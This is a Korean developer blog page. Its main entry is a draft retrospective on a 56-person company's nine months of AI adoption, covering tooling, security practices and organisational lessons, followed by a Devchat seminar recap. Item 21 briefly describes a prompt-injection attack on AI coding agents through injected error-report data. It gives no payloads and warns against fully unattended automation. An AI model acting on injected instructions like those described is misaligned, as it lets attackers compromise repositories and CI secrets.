개발자 어썸블로그

2026년 7월 출간 IT 원서들 기대평(그리고 빼먹은 6월 기대평 링크....)

2026-07-13T20:07:00+09:00

6월에 빼먹은 기대평 링크와 7월의 IT 원서 기대평입니다. 월드컵 특집(???)

인프랩 AI 네이티브 9개월 정리

2026-07-13T09:31:48+09:00

사내 블로그에 지난 AX 경험기를 정리하려다가, 먼저 초안을 공유하고 그걸 본 분들이 궁금해하시는 내용 위주로 좀 더 보강하자는 생각에 초안을 먼저 공유합니다.
(아직 다 정리된 건 아니에요!)

AX 전환에 대한 인사이트를 나누는 글들을 보면, 정작 그 인사이트가 어떤 맥락과 환경에서 나온 것인지에 대한 자세한 설명이 부족한 경우가 많다고 느낍니다.
조직마다 규모, 예산, 인프라가 다 다른데 그 전제가 빠지면 좋은 인사이트도 내 상황에 그대로 옮기기 어렵습니다.

작은 조직일수록 AI 네이티브한 일하는 방식을 훨씬 빠르고 과감하게 실험해 볼 수 있다고 생각합니다.
실제로 그런 실험적인 시도를 앞장서서 보여주는 쪽은 인디해커나 소규모 스타트업인 경우가 많습니다.
다만 그 경험을 300명, 500명, 2,000명 규모의 조직에 옮기려면 조직 구조, 의사결정 방식, 인프라의 복잡도가 달라져서 손봐야 할 지점이 꽤 있을 겁니다.
반대로 큰 조직의 경험을 작은 조직에 그대로 옮기면 과한 프로세스가 되기 쉽습니다.
결국 어느 쪽 경험이든 규모가 다른 조직에 그대로 이식하기는 어렵고, 그만큼 서로의 맥락을 참고하는 게 중요하다고 생각합니다.

사업 규모나 형태도 다를 테고, 보안 레벨도 다르고, 사용할 수 있는 AI 플랜과 할당된 AI 예산도 다르기도 합니다.
(전해 들은 어떤 대기업 사례인데, 엔터프라이즈 플랜을 쓸 수밖에 없어서 월 15억을 AI 예산으로 잡았는데 40억 이상이 사용돼 AI 사용 전체를 재점검했다고 하더라고요.)
구축된 시스템 레벨, 연관된 저장소의 수, 크기, 흩어진 조직 맥락의 크기 등도 서로 너무 다릅니다.

그래서 어떤 조직의 여정이 공유될 때는 항상 그 조직의 맥락도 함께 봐야 한다고 생각하기 때문에 저희의 맥락을 먼저 이야기해 드립니다.

누적 가입자 수 165만 명, MAU 54만 명의 교육/채용 플랫폼인 인프런/랠릿 서비스를 운영하는 저희는 56명의 팀원이 함께하고 있습니다.
이 안에서 제품 조직은 26명, 운영/사업은 30명으로 운영되고 있으며, 각 제품 스쿼드는 4-6명으로 구성되어 있고, 요즘은 1-4인 스쿼드를 실험적으로 도입 중입니다.

엔지니어링 헤드, 데브옵스 팀장 등 명시적 리더 없이 CTO와 다이렉트로 일하고 있으며, 데브옵스 조직은 제 직속이고 각 스쿼드의 PM 분들이 매니저로서 일하고 있습니다.

비슷한 조직이시라면 도움이 되실 것 같고, 규모가 다르시다면 참고용으로만 보시면 좋을 것 같습니다.

저희 조직은 AI 도구를 작년 11월부터 본격적으로 사용하기 시작했습니다.
저희 팀의 경험을 돌이켜보면

1. 효율은 증명됐지만, 효과는 아직

AX를 통해 효율을 증명하더라도, 구체적인 일정 규모 이상의 회사의 성과를 달성했는지는 아직 시간이 필요한 것 같음.
"효율이 좋아진 것"과 "효과가 좋아진 것"은 다른 얘기임.
연매출 100억(거래액 말고 순매출) 이상 규모에서 AX로 50%, 100%, 200% 성장했다는 회사는 주변에서 못 봤음.
이 규모에서 지금까지 증명된 건 "예전 성과를 더 적은 사람으로 낼 수 있다"까지고, "더 큰 성과를 낸다"는 사례는 아직 못 봤음.

2. 형식지가 먼저, 자동화는 그다음

"A->B->C로 일하면 100의 성과를 낼 수 있다"처럼 어떤 방식으로 하면 어느 정도 성과가 난다는 형식지가 이미 구축되어 있으면, AI가 빠르게 자동화하고 효율을 높이는 데 도움을 줌.
다만 500의 성과를 한 번도 내 본 적 없는 조직이 AI로 500을 내는 건 아직 어려워 보임.
(테슬라 모델 3 사례가 그랬음.
초기에 완전 자동화를 밀어붙였다가 생산이 막혔고, 머스크도 2018년 4월 "과도한 자동화는 실수였다. 정확히는 내 실수다. 인간은 저평가됐다"고 인정함.
이후 로봇이 좌석을 옮기기만 하고 나사 조립과 배선은 사람이 마무리하는 식으로 공정을 다시 나눴음.
머스크가 나중에 정리한 원칙인 "요구사항에 의문을 제기하고, 불필요한 단계를 지우고, 단순화하고, 속도를 높인 다음 마지막에 자동화하라" 도 결국 검증 안 된 프로세스부터 자동화하면 실패한다는 같은 얘기임.)

3. 동기부여가 관리 대상

AI로 성과를 더 내기 위해서 관리해야 할 대상은 동기부여임.
의지 없는 팀원에게 AX 하라고 하면 딱 시키는 대로만 AI를 씀.
회사가 정해 놓은 규칙대로만 쓰고, 결과는 책임지지 않음.
리더가 시키는 대로는 다 했으니까.
근데 이러면 AI는 최악의 도구가 됨.
AI는 비결정적 도구라서 세 번, 다섯 번 한다고 원하는 결과가 나온다는 게 보장 안 됨.
즉 능동적인 사람에게는 유효하지만 수동적인 사람에게는 전혀 도움이 안 됨.
회사가 빡빡한 가이드라인을 만들면 결국 구성원들은 그 가이드대로 시키는 대로만 하는데, 원하는 결과가 안 나올 때 더 주도적으로 방법을 바꿔가며 노력해야 하는 게 거의 불가능해짐.
결국 요즘 시대에 리더에게 가장 요구되는 것은 팀원들의 동기부여임.

4. 같은 AI를 쓰는 기업간의 경쟁

돈만 내면 누구나 최고급 모델(Fable 5, GPT 5.6 xhigh 등)을 쓸 수 있다면, 조직 간 경쟁력과 해자는 뭐가 될까 고민하게 됨.
잊으면 안 되는 건, 이게 인간 vs AI 경쟁이 아니라 "같은 AI 도구를 쓰는 조직 대 조직" 의 경쟁이라는 점임.
경쟁사도 나랑 똑같은 도구를 쓰는데, 그럼 우리는 뭘로 격차를 벌리고 경쟁력을 키우느냐가 남는 질문임.
같은 도구를 쓴다고 같은 결과물이 나오지 않는다는 건 다들 이미 알고 있음.
결국 예전과 비슷하게, 그 도구를 쓰는 조직 구성원의 역량, 그리고 그 역량을 채용하고 키워내는 조직의 미션, 비전, 문화, 프로세스가 경쟁력이 됨.

5. 더 낮은 모델을 가지고 경쟁해야한다면

그런데 최근 보면 "돈만 내면 누구나"라는 전제 자체가 흔들리고 있긴 함.
Fable 5 같은 최고급 모델이 정액제에서는 못 쓰고 종량제에서만 쓸 수 있게 바뀌는 중임.
지금까지는 작은 회사가 팀플랜이나 개인 정액제로 거의 무한에 가까운 토큰을 아주 저렴하게 쓰고, 큰 회사는 엔터프라이즈 플랜을 쓸 수밖에 없어서 인당 200-300만 원씩 지원하면서도 개인당 토큰량은 Max 5x에도 못 미치는 경우가 있어서, 오히려 이 영역이 작은 회사가 가지는 경쟁력이였음.
근데 최고급 모델이 정액제에서 빠지면 얘기가 달라짐.
종량제 비용을 감당할 수 있는 회사와 감당하지 못하는 회사로 나뉘게 됨.
즉, 고급 모델을 쓰는 회사 vs 중-저급 모델을 쓰는 회사의 경쟁 구도도 가능함.
이 격차는 더 벌어질 것 같음.
(팀플랜도 결국 종량제로 바뀔까 걱정임.)
즉 구성원 역량 격차에 더해 모델 접근성 격차까지 새로운 경쟁 축으로 얹히는 셈임.

우리가 갖고 있는 많은 전제에서 "모델이 계속 발전하는 것" 을 우리 모두가 "충분히 사용" 할 수 있다는 전제위에서 AI 네이티브 논의가 많은데,
우리 회사가 그 좋은 모델을 쓸 수 있는 여력이 있는가,
쓸 수 있다고 해도 얼마나 많이 사용할 수 있느냐,
이에 따라 회사의 운영 방식이 크게 달라짐.

우리가 사용중인 월 $125의 프리미엄 시트, 월 $200의 Max 20x에서는 Fable과 같은 고급 모델을 사용하지 못하고, 대기업 혹은 그에 준하는 큰 투자를 받은 회사들에서는 그걸 적극적으로 쓴다면 무엇으로 경쟁할 것인가? 라는 질문이 남음.

타사보다 낮은 모델을 사용하면서도 타사와 경쟁한다면, 우리는 무엇을 해야 할까? 같은 고민을 시작하게 됨.

최근 로이터가 소식통을 인용해 보도한 바에 따르면, 중국도 Qwen, Doubao, GLM 5.2 같은 자국 플래그십 모델의 해외 접근 제한을 검토 중이라고 함. 아직 논의 단계일 뿐 결정된 건 없고, 시행 여부와 시점, 이미 해외에 풀린 기존 모델까지 소급 적용될지도 전부 불투명한 상태임. 낯설지 않은 패턴인 게, 작년 미국도 앤트로픽의 최상위 모델 Fable과 Mythos에 대해 외국인 접근을 차단하라고 명령했고, 그 여파로 앤트로픽이 전 세계 모든 사용자를 대상으로 두 모델을 일시 비활성화한 적이 있음(이후 Fable은 안전장치를 보강해 전체 사용자에게 복원됐지만, Mythos는 여전히 미국 내 일부 신뢰 기관으로만 제한돼 있음). 결국 모델 접근성 격차는 이제 가격 문제만이 아니라, 그 모델이 어느 나라 소속이냐는 지정학적 요인으로도 벌어질 수 있다는 얘기임.

[지적 자산]

6. 쌓아온 데이터 == 퍼포먼스

그동안 팀이 어떤 데이터를 쌓아 왔느냐에 따라 퍼포먼스 차이가 많이 남.
팀 컨벤션 문서가 이미 관리되고 있는지, 테스트 코드를 이미 작성하고 있는지, Jira나 컨플루언스 등에 의사결정 과정을 계속 기록해두고 있는지 등, 팀의 암묵지와 형식지가 얼마나 쌓여 있느냐에 따라 결과가 다름.

7. 모든 사내 회의 녹음부터

회사의 암묵지가 뭔지조차 모르겠다면, 모든 사내 회의를 녹음하는 것부터 시작하면 좋음.
문서로 정리된 것들에는 결과와 후속 액션 정도만 남고, 회사의 진짜 암묵지, 지적 자산은 "의사결정 과정" 그 자체임.
구글의 아키텍처 결정 레코드처럼 의사결정 과정 자체를 기록으로 남기는 프레임워크가 있어야 함(여기서 프레임워크는 특정 기술을 의미하는 게 아님).
그때 왜 그런 의사결정을 내렸는지 맥락이 남지 않으면, 조금만 응용된 상황이 와도 성공 경험을 전혀 활용하지 못하고 전혀 다른 의사결정이 나오게 됨.
그러면 AI도 완전히 다른 맥락을 갖게 됨.

8. AX는 전담인력을 팀 안으로

녹음 말고 암묵지를 형식지로 만드는 또 다른 방법은, 전담 인력을 그 팀 안에 제대로 밀어 넣고 한 팀으로 일하게 하는 것임.
그 인력이 옆에서 팀원들이 일하는 걸 보면서, AI가 참고할 수 있는 형식지를 계속 뽑아내게 하는 방식임.

[도구]

9. KB(Knowledge Base), MCP, FDE

전사 업무 생산성을 크게 높여준 건 KB(Knowledge Base), 각종 MCP(아틀라시안, 구글 캘린더, 지메일, 빅쿼리, 믹스패널, 데이터독, 깃허브), FDE의 침투(백엔드 엔지니어 한 명이 마케팅 팀 소속의 AX 엔지니어로 옮겨서 일하는 것)였음.

10. 전사 AI 도구는 하나로 통일

AI 도구는 파편화하지 않고 단일 도구로 통일하는 게 좋음. Claude, OpenAI, Gemini 등을 다 같이 쓰게 하기보다는, 전사 AI 도구는 이걸로 간다고 하나를 확정하고 그 안에서 개개인의 노하우를 공유하면 다 같이 효과를 보는 형태로 가야 함.
도구가 파편화되면 노하우도 분산됨.
예전에는 각자 자기한테 가장 잘 맞는 도구를 쓰게 뒀는데, 노하우를 한곳에 모으는 것보다 개개인에게 맞는 도구를 쓰는 게 전체 합이 더 컸기 때문임.
그런데 AI는 가능성과 확장성이 거의 무한대라 한계효용의 법칙이 잘 안 통함.
그래서 수십에서 수백 명이 하나의 도구를 쓰면서 플러그인, 스킬, MCP, 프롬프트 가이드 같은 노하우를 거기에 집중시키는 게, 개개인 입맛에 맞는 도구를 따로 쓰게 하는 것보다 훨씬 나은 조직 성과를 냄.

11. LLM 성능보다 문서 도구의 검색 품질

MCP를 연결해도 문서 탐색은 결국 문서 도구의 검색 결과에 의존함.
LLM이 전사 데이터를 다 들고 있는 게 아니라, 우리가 자연어로 질의하면 그걸 문서 도구의 검색 스펙에 맞는 조건으로 바꿔서 대신 호출하는 구조임.
그러니 아무리 데이터를 연결해도, 내가 찾는 그 데이터를 실제로 가져오는 건 LLM 성능보다 문서 도구의 검색 품질이 더 중요함.
그래서 검색 품질이 좋은 도구를 써야 하고, 잘 지원되는 문서 도구에 사내 문서와 데이터를 모아둬야 함(아틀라시안 제품 등).

[인프라]

12. 버전 관리부터

AI 환경에서 가장 안전한 방법은 데이터와 환경을 버전 관리가 되도록 관리하는 것임.
즉 Git을 도입해야 함. 회의록, PRD도 버전관리가 되는 환경에서 작성돼야 함.
AI는 비결정적 도구라 여러 번 작업한다고 항상 더 나은 결과가 나온다는 보장이 없고, 잘못 실행돼서 결과물이 날아가는 경우도 많기 때문임.
git 도입이 어렵다면 최소한 전사 문서 도구만큼은 항상 버전 관리가 되는 걸 써야 함.

13. IaC & GitOps

IaC & GitOps를 꼭 구축하기를 권장함.
GitOps 환경이 되면 개발팀이 인프라팀에 Jira 티켓으로 요청하는 대신 PR로 직접 인프라를 바꾸고 인프라팀은 리뷰만 하면 돼서, 요청 하나하나의 세부 맥락을 인프라팀이 다 짊어지는 부담이 크게 줄어듦.
본인이 Pulumi로 인프라를 직접 수정해보고 테스트 코드를 돌려서 깨지는 게 있는지 확인하고, 인프라 수정이 올라올 때 AI가 리뷰해서 코멘트를 남기는 도구까지 갖춰지고 나면 이런 환경이 주는 심리적 안정감과 속도감은 차이가 큼.
(물론 이건 리소스 설정값 수준의 검증이고, 실제 클라우드 동작까지 확인하려면 별도 통합 테스트가 필요함.)
롤백도 쉬움.
비슷하게 데이터베이스 테이블 관리도 flyway 같은 마이그레이션 도구의 필요성이 예전부터 강조돼 왔지만, 이젠 그게 더 커짐.
버전 관리가 가능한 데이터여야 AI가 의도와 맥락을 이해하고, 혹시 AI가 실수해도 되돌아가서 수정할 수 있음.

[보안]

14. AISecOps

DevSecOps가 대두되듯이 AISecOps도 필요하다고 느낌. DevOps 시대가 오면서 개발과 운영을 함께 보는 문화가 됐는데, 그 안에서 보안팀이 결국 병목이 되는 문제가 있음.
"덮어놓고 안 된다고만 하면 오히려 음지에서 AI를 쓰게 되고, 이게 더 큰 문제를 만듦".
팀의 생산성과 변화는 충분히 주면서 보안도 챙기려면, 보안팀이 AI를 더 잘 이해하거나 AI를 쓰는 사람이 보안을 공부하거나 둘 중 하나는 해야 함.
AI와 보안이 따로 있고 책임이 분리되어 있으면 서로 자기 시야로만 프로세스를 세우게 되는데, 이게 문제를 더 키움.
우리 팀은 원래 데브옵스가 보안을 같이 책임지는 구조라 AI도 이 조직을 중심으로 두고, 데브옵스와 AI와 보안을 한 조직에서 관리함. 편하게 쓰고 싶은 마음과, 최소한 지켜야 할 선이 어디까지인지는 항상 같이 고민할 수밖에 없음.

15. 개인 구독 AI 도구 금지

토큰 비용이 아깝다고 AI 도구를 개인 계정으로 쓰게 해서는 안 됨.
클로드는 팀플랜(150명 이하)에서 정액제로 지원하니까 최대한 이 플랜부터 활용해야 함.
보안팀이 관리하지 못하는 형태로 AI를 쓰게 해서는 안 됨.
MCP를 통한 보안 사고가 너무 많아서 사내에서 화이트리스트로 MCP를 관리해야 하고, 특히 사내 데이터 접근을 AI에 열어줄 거면 절대 개인 계정에 열어두는 방식으로 가면 안 됨.

16. AI Proxy 게이트웨이

LLM API는 항상 AI Proxy 게이트웨이를 통과하도록 구축해야 함.
기존 API 모니터링은 요청 수(count) 기반으로 이상 패턴을 감지하고 알림을 보내고 추적했는데, AI API는 요청 수가 같아도 토큰 사용량에 따라 비용이 천문학적으로 차이가 날 수 있어서 count만 보는 기존 방식으로는 이 비용 이상을 못 잡음.
그래서 로깅, 알림, 모니터링을 토큰/비용 기준으로 따로 구축해야 하고, 이걸 하려면 중간에 게이트웨이가 필수적임.
구축된 것과 아닌 것의 차이가 큼.
서비스 개발 단계뿐 아니라 실제 서비스에서 나가는 AI 호출도 어디서, 얼마나, 왜 이렇게 나가는지 트래킹해야 함.

17. 구글 워크스페이스를 Primary 계정으로

구글 워크스페이스 계정이 사내에서 사용하는 서비스들의 Primary 계정이자 권한 단위가 되는 게 맞는 방향인 것 같음.
AI 도구, AWS, 데이터독, 아틀라시안, VPN(Tailscale) 등 대부분은 구글 워크스페이스를 SSO/IdP로 붙일 수 있음.
이후 결국 그 팀원에게 수많은 사내 서비스들의 권한이 어떻게, 어디까지 할당되어 있느냐를 추적/관리하기 위함임.

18. DB 접속은 IAM 임시 자격 증명으로

DB 접속 정보는 정적인 id/pw가 아니라 IAM 기반의 임시 자격 증명으로 관리해야 함.
Secrets Manager 자동 로테이션도 좋지만 그건 오래 사는 비밀번호를 주기적으로 교체하는 것이라, 유출되면 다음 로테이션까지 몇십 일을 살아있고 앱 메모리나 환경변수 어딘가에 항상 정적인 값으로 존재해서 AI 에이전트에게 DB를 열어줄수록 그 값이 그대로 유출 경로가 됨.
반면 RDS나 Cloud SQL의 IAM DB 인증은 접속할 때마다 15분짜리 토큰을 새로 발급받는 방식이라 저장해 둘 비밀 자체가 없고, 사람/서비스/에이전트별로 계정을 쪼개 권한을 좁힌 뒤 사고가 나면 전체 로테이션 없이 그 주체의 IAM 정책만 떼서 몇 초 만에 끊을 수 있음.
다만 지원 엔진이 제한적이고 신규 커넥션이 아주 많은 워크로드엔 부담이라, IAM 인증이 안 되는 DB는 Secrets Manager 자동 로테이션이 차선임.

19. 환경변수는 별도 저장소에서 런타임 주입

모든 환경변수도 버전관리, 수정 이력, 권한 관리가 가능한 별도의 private 저장소에서 관리하고 런타임에 가져오는 구조로 가야 함.
코드 저장소에 그대로 박아두거나 개인 메모, 메신저로 공유하면 누가 언제 무엇을 바꿨는지 추적도 안 되고 권한 회수도 안 됨.

20. 데이터는 권한 관리가 되는 DW로

AI를 통해 누구나 자연어로 쉽게 비즈니스, 퍼널 데이터를 보게 만들고 싶다면 계정 단위로 테이블/컬럼 권한 관리가 가능한 도구에 데이터를 모아야 함.
예를 들어 빅쿼리 같은 전문 DW(데이터 웨어하우스) 도구.
단순히 조회용 RDB를 연결하는 방식도 있지만, 개인정보나 민감 정보를 컬럼/계정 단위로 세밀하게 막으려면 계정마다 개별 GRANT를 반복해야 해서 수백 명 규모로는 관리가 너무 복잡함.
조회용 RDB보다 빅쿼리 같은 전문 DW 도구가 유리함.
구글 계정과 바로 통합되고 정책 하나(정책 태그)로 여러 테이블에 걸쳐 컬럼 단위 접근을 관리할 수 있고, 행 단위 보안도 지원함.
DB 테이블, 마케팅 데이터(믹스패널 등), 프로덕트 릴리즈 데이터(서비스 출시 기록, DORA 메트릭 등)가 빅쿼리에 모여있고 계정 단위로 권한 관리까지 되면, MCP로 연결한 뒤 예전부터 이야기하던 "데이터가 흐르는 조직"을 AI의 도움으로 가능하게 할 수 있을 것 같음.
단, 온디맨드 과금은 쿼리가 스캔하는 데이터 크기만큼 부과되는 구조라 로그성 데이터까지 모두 담으면 비용이 늘 수 있음.
정액형(Editions/슬롯 예약) 과금이나 파티셔닝, 클러스터링으로 스캔량을 줄이는 방법을 함께 고려하는 게 좋음.

21. 해커도 AI를 씀

해커도 AI를 사용하고, AI와 함께하는 해커는 우리가 쓰는 범용 AI보다 더 뛰어나다는 점을 잊으면 안 됨.
데이터독 같은 모니터링 도구를 잘 활용하면, 장애 로그를 AI가 분석해서 문제 해결 코드를 만들고 PR까지 올리는 과정을 자동화할 수 있음.
다만 브라우저나 앱 같은 클라이언트 사이드 에러를 수집하는 SDK를 통해 오히려 공격이 들어오는 경우가 있음.
2026년 6월 공개된 사례가 그런 경우인데, 정확히는 SDK 자체의 결함이 아니라 공개된 에러 수집 키에 조작된 데이터를 주입하고 AI 코딩 에이전트가 MCP를 통해 그걸 신뢰할 수 있는 지시로 착각해서 실행하는 방식임.
(예: 관련 사례)
버그 수정까지 사람 개입 없이 완전 자동화하겠다는 건 둘 중 하나임.
우리 서비스가 해커 입장에서 공격할 만한 가치가 없을 만큼 작거나, 보안팀이 완벽하게 다 막아주고 있거나.
여러 모니터링 도구를 MCP로 연결해서 개발자가 버그를 쉽게 해결하도록 효율화하는 건 좋지만, 사람이 전혀 개입하지 않는 방향으로 완전히 넘어갈 수는 없음.
특히 프론트엔드는 UI 변경이 잦아서 자동화해도 괜찮을 거라 생각하기 쉬운데, 그러다 큰일 날 수 있음.
깃헙 저장소의 시크릿이나 CI 환경 같은 인프라가 백엔드와 프론트엔드로 완전히 격리돼 구현되는 경우가 거의 없어서, 프론트엔드 프로젝트가 오염되면 서비스 전체가 영향을 받을 수 있음.

[마치며]

쓰고 나서 다시 읽어보니 새로운 이야기가 많지 않습니다.
문서화, 테스트 코드, 버전 관리, 권한 관리처럼 예전부터 중요하다고 하던 것들이 대부분입니다.
"피닉스 프로젝트"와 "유니콘 프로젝트"가 그리던 암묵지의 문서화와 병목 없는 보안, 데이터가 흐르는 조직, "코드로 인프라 관리하기"가 말한 버전 관리와 IaC, "Release의 모든 것"이 말한 사람의 개입 지점을 남겨둔 자동화는 전부 AI가 나오기 전부터 있던 이야기입니다.
지난 9개월 동안 저희가 확인한 것도 그 이야기들이 AI 시대에 여전히 유효하고, 몇몇은 더 절실해졌다는 것이었습니다.
그래서 지난 9개월은 AI 도구를 배우는 시간이기도 했지만, 미뤄뒀던 숙제들을 더는 미룰 수 없게 된 시간에 가까웠습니다.

2026 Devchat Night+ 세미나 후기

2026-07-10T09:03:31+09:00

일시: 2026년 7월 7일(화)
장소: HAESO 해소 (서울 성동구 성수이로24길 31)
주최: Devchat

Why We Gather

김경환 (네이버), 김상기 (SK텔레콤), 이동현 (카카오페이)
진행: 황국화

Q. 지금까지 가졌던 데브챗 모임 중 가장 기억에 남는 모임은?

이동현 (카카오페이)

장소로는 엘타워가 가장 먼저 떠오름 - 롯데 이커머스 후원으로 열린 모임
- 전망 좋은 곳에서 일하는 기분에 대한 생각, 분위기가 좋았던 기억
최근에는 배민(우아한형제들)에서 함께한 모임도 기억에 남음
장소보다 기억에 남는 자리는 내부 팀장들이 모여 발표했던 시간
- 서로 다른 회사에서 일하며 얻은 좋은 점과 고충을 나누며 공감대를 형성

김상기 (SK텔레콤)

2023년 데브챗 모임 시작 이후 매달 스터디 형태로 진행하다가, 그해 12월 연 데브챗 컨퍼런스가 가장 기억에 남음
2024년에는 데브챗 멤버들과 함께 책을 집필 - 코드 너머, 회사보다 오래 남을 개발자 (한빛미디어, 2025년 출간)

김경환 (네이버)

2023년 1월 팀 리더를 맡게 되면서 개발 문화/조직 문화에 대한 관심으로 데브챗 스터디에 참여
첫 세션은 온라인(Zoom)으로 진행, 다소 낯설었지만 그때 받은 영향력 덕분에 지금까지 애정을 갖고 참여 중

Q. AI 시대에 오프라인 모임/커뮤니티가 갖는 힘은 무엇인가?

김상기 (SK텔레콤)

"여러분은 오늘 왜 오셨나요?"
사람을 만나면 상대에게 먼저 관심을 갖는 습관은 과거 코칭 활동에서 비롯됨

이동현 (카카오페이)

연결의 소중함 - AI와 연결하는 것보다 사람과 연결하는 게 중요해서 이 모임이 더 소중하게 느껴짐
데브렐은 원래 개발자와의 연결을 다루는 일이었는데, AI 시대에는 비개발자도 개발자와 같은 역할을 할 수 있게 되면서 개발자/비개발자 구분 없이 "만드는 사람들"과 연결되는 게 중요해짐
비슷한 고민을 하는 사람들끼리 연결돼 생각을 확장해 나갈 수 있는 기회라는 점에서 오프라인 모임이 소중함

김경환 (네이버)

커뮤니티에 모이는 가장 큰 힘은 관계에서 오는 동기
각자의 고민을 나누다 공통점을 찾고, 관계가 점점 따뜻해지면서 커뮤니티의 온기로 나타남
데브렐이라는 주제를 벗어나 실제 회사 업무, 살아가는 이야기까지 나누게 되는 점이 좋음

Q. 회사에서 진행 중인 AX와 데브렐은 어떤 관계인가?

김상기 (SK텔레콤)

AX는 결국 AI를 잘 이해하게 만드는 일 - AI를 다루는 데 가장 능숙한 건 개발자
비개발자가 개발자들이 쓰는 용어를 익히게 만드는 것이 관건 - 그래야 AI에게 원하는 걸 제대로 시킬 수 있음
본인이 속한 전사 HR 조직은 대부분 비개발자
- Claude, GPT 등 AI 도구를 쓰다 개발자 용어에 막히면 그걸 잘 아는 개발자와 연결해주는 역할을 함
데브렐이 개발자 간 관계를 만들던 일을, AX 시대에는 비개발자를 개발자로 연결/성장시키는 일로 확장해서 하고 있음 - 결과적으로 AX 팀은 데브렐과 협업할 수밖에 없는 구조
본인도 AX 팀에 합류했고, 전사/사업부별로 AX 조직이 계속 늘어나는 추세

Q. 데브챗 모임에서 나눈 이야기가 실무에 도움이 된 적이 있는가?

이동현 (카카오페이)

모임마다 기록을 남겨 참석자들에게 공유하고, 사내에도 별도로 기록해 둠
특정 사례를 콕 집어 말하긴 어렵지만, 쌓인 이야기들이 업무 어딘가에 반영되는 느낌을 받음
다른 회사의 이벤트/행사 기획 사례를 들으며 "언젠가 써먹어야지" 하고 아이디어를 얻은 경우가 많음

Q. 데브챗을 가장 잘 설명하는 키워드는 "집단지성"과 "심리적 안정감" 중 무엇인가?

김경환 (네이버)

앞서 말한 "온기"와 이어지는 맥락
- 심리적 안정감 쪽이 더 잘 맞는 표현
안정감 있는 관계 안에서 집단지성도 좋은 형태로 나온다고 생각

이동현 (카카오페이)

둘 중 하나를 고르고 싶지 않음, 둘 다 중요
훌륭한 발표자를 섭외해 이야기를 듣고, 이후 네트워킹으로 서로 회사 사례를 비교하며 아이디어를 나누는 과정에서 집단지성을 느낌
회사 안에는 데브렐 역할을 하는 사람이 몇 없어 고민을 나눌 곳이 마땅치 않은데, 데브챗에 오면 다양한 연차/직무/회사의 사람들이 모여 있어 여러 아이디어가 촉발됨

김상기 (SK텔레콤)

집단지성은 AI 때문에 오히려 약해지고 있다고 생각
심리적 안정감은 프라이빗 모임이기 때문에 가능
- 회사 안에서 못할 이야기도 나눌 수 있고, 밖에서 있었던 일이라 발설 부담이 없음
데브챗에서 얻는 정보는 AI나 책에서는 구할 수 없는 정보라 집단지성 역시 유효 - 결국 둘 다에 해당

Build Mode, AX in Reality - AI Native 개발문화 정착을 위한 기술리더들의 고군분투기

박성우 (한국디지털에셋), 박용권 (당근마켓), 서동민 (두들린)
진행: 강상윤 (야놀자)

Q. AI를 도입하면서 계획과 실제가 달랐던 점, 겪었던 시행착오는?

서동민 (두들린)

올해 초부터 본격 도입, 그 전에도 GPT-4o 즈음부터 조직 내에서 조금씩 실험
세상이 변하는 속도를 빠르게 못 따라간 것이 가장 후회되는 지점
처음 만든 건 단순 요약 기능이었는데, 당시엔 "이것도 잘 못한다"며 AI를 부정적으로 봤음
- 지금 보면 AI를 보는 눈높이 자체를 너무 낮게, 제한적으로 잡았던 것이 아쉬움

박성우 (한국디지털에셋)

AI로 인한 변화를 미리 예상하려 하지 않음
- "바이브"라는 말이 처음엔 유치하다고 생각했다가, 어느 순간부터 이 시대의 흐름을 가장 잘 표현하는 단어라고 느낌
그래서 바이브에 몸을 맡기고 바이브를 타는 게 가장 편했음

박용권 (당근마켓)

작년 2월 클로드 코드 출시 이전부터 AI와 일함, 이후로는 에이전트와 함께 일하는 게 일상화된 지 1년 반 이상
기대와 달랐던 점은 "생각보다 그렇게 빨라지지 않았다"는 것
무언가를 만드는 행위 자체는 압도적으로 줄었지만, 문제를 발견하고 검증 가능한 해결책으로 바꾸는 사고 과정, 디자인 영역은 아직 AI가 크게 못 함

Q. AI를 잘 쓰는 엔지니어들의 특징이나 패턴은?

박용권 (당근마켓)

한계를 스스로 정해두지 않고 "될 때까지" 끝까지 시켜보는 사람이 잘 씀
최근엔 출근해서 미팅/계획을 짜고 퇴근 전 AI에게 작업을 맡긴 뒤, 다음 날 아침 결과물을 확인하는 식으로 거의 24시간 활용하는 구성원도 있음

박성우 (한국디지털에셋)

한계를 두지 않는 사람, 업무 영역 경계에 얽매이지 않는 사람이 좋은 성과를 냄(개발자인데 디자인에도 관심, 백엔드인데 프론트도 시도 등)
다만 빠르고 과감한 초기 성과 이후에는 결국 책임감과 기본기가 탄탄한 사람이 진짜 의미 있는 제품을 만듦

서동민 (두들린)

테크(개발자)와 No테크(비개발 직군)를 나눠서 설명
개발자 쪽에서는 모호한 요구사항을 구체적 목표와 작은 테스트 단위로 쪼개고, 각 단위가 어떤 결과물에 도달해야 완성인지 정의하는 능력
- 추상적인 것을 구체적/정량적 표현으로 바꾸는 "문제 구체화 능력"이 뛰어난 사람일수록 AI 결과물이 의도한 것과 일치
비개발 직군 쪽에서는 결국 시도하는 능력
- 전사적으로 "전부 다 AI로 만들어보시라"고 독려 중인데, "이거 만들 수 있나요?"라고 물으러 오면 일단 AI에게 직접 시켜보고 안 되면 그때 다시 오시라고 안내
- 그렇게 하면 대부분 결과물이 나옴
한번 도전해보고 안 되면 왜 안 되는지 파악하면서 끊임없이 도전하는 사람이 성과를 냄

강상윤 (야놀자, 진행)

하나 덧붙이면, 회사에서 AX 프로젝트를 많이 해본 경험상 AI를 활용하지 않던 시대에도 지금도 공통적으로 잘하는 엔지니어의 특징은 직군과 스택을 넘어 공유를 잘하는 사람
- 이런 사람이 항상 회사에서 더 많은 가치를 만들어냄

Q. AI 시대, 연차(주니어/시니어/팀장급)별로 어떤 방향으로 성장하면 좋은가?

서동민 (두들린) - 주니어 대상

예전엔 책이나 강의로 먼저 공부한 뒤 회사 문제에 적용했다면, 이제는 책/강의 없이 회사에서 가장 어려운 문제부터 풀어보라고 제안
풀다가 모르는 게 나오면 AI에게 계속 물어보면서 새로운 개념을 확장해 나가는 방식으로 자연스럽게 성장 가능

박용권 (당근마켓) - 시니어 대상

"짬(연차)으로 밀어붙이는 시니어"는 이제 의미가 없음
- 1, 2년 전 본인이 작성한 코드 퀄리티를 지금은 2, 3년 차 엔지니어도 쉽게 재현
코드 레벨보다 앞으로 "어떤 방향으로 뾰족하게 성장할지"에 초점을 맞춰야 함
- 프로덕트 엔지니어냐 플랫폼 엔지니어냐 등 일하는 영역에 따라 AI 시대에 기대받는 전문성이 조금씩 다름
최근 인상적이었던 것은 오픈AI 코덱스 팀이 엔지니어에게 기대하는 역량으로 "프로덕트 취향(product taste)"을 정확하게 짚은 것
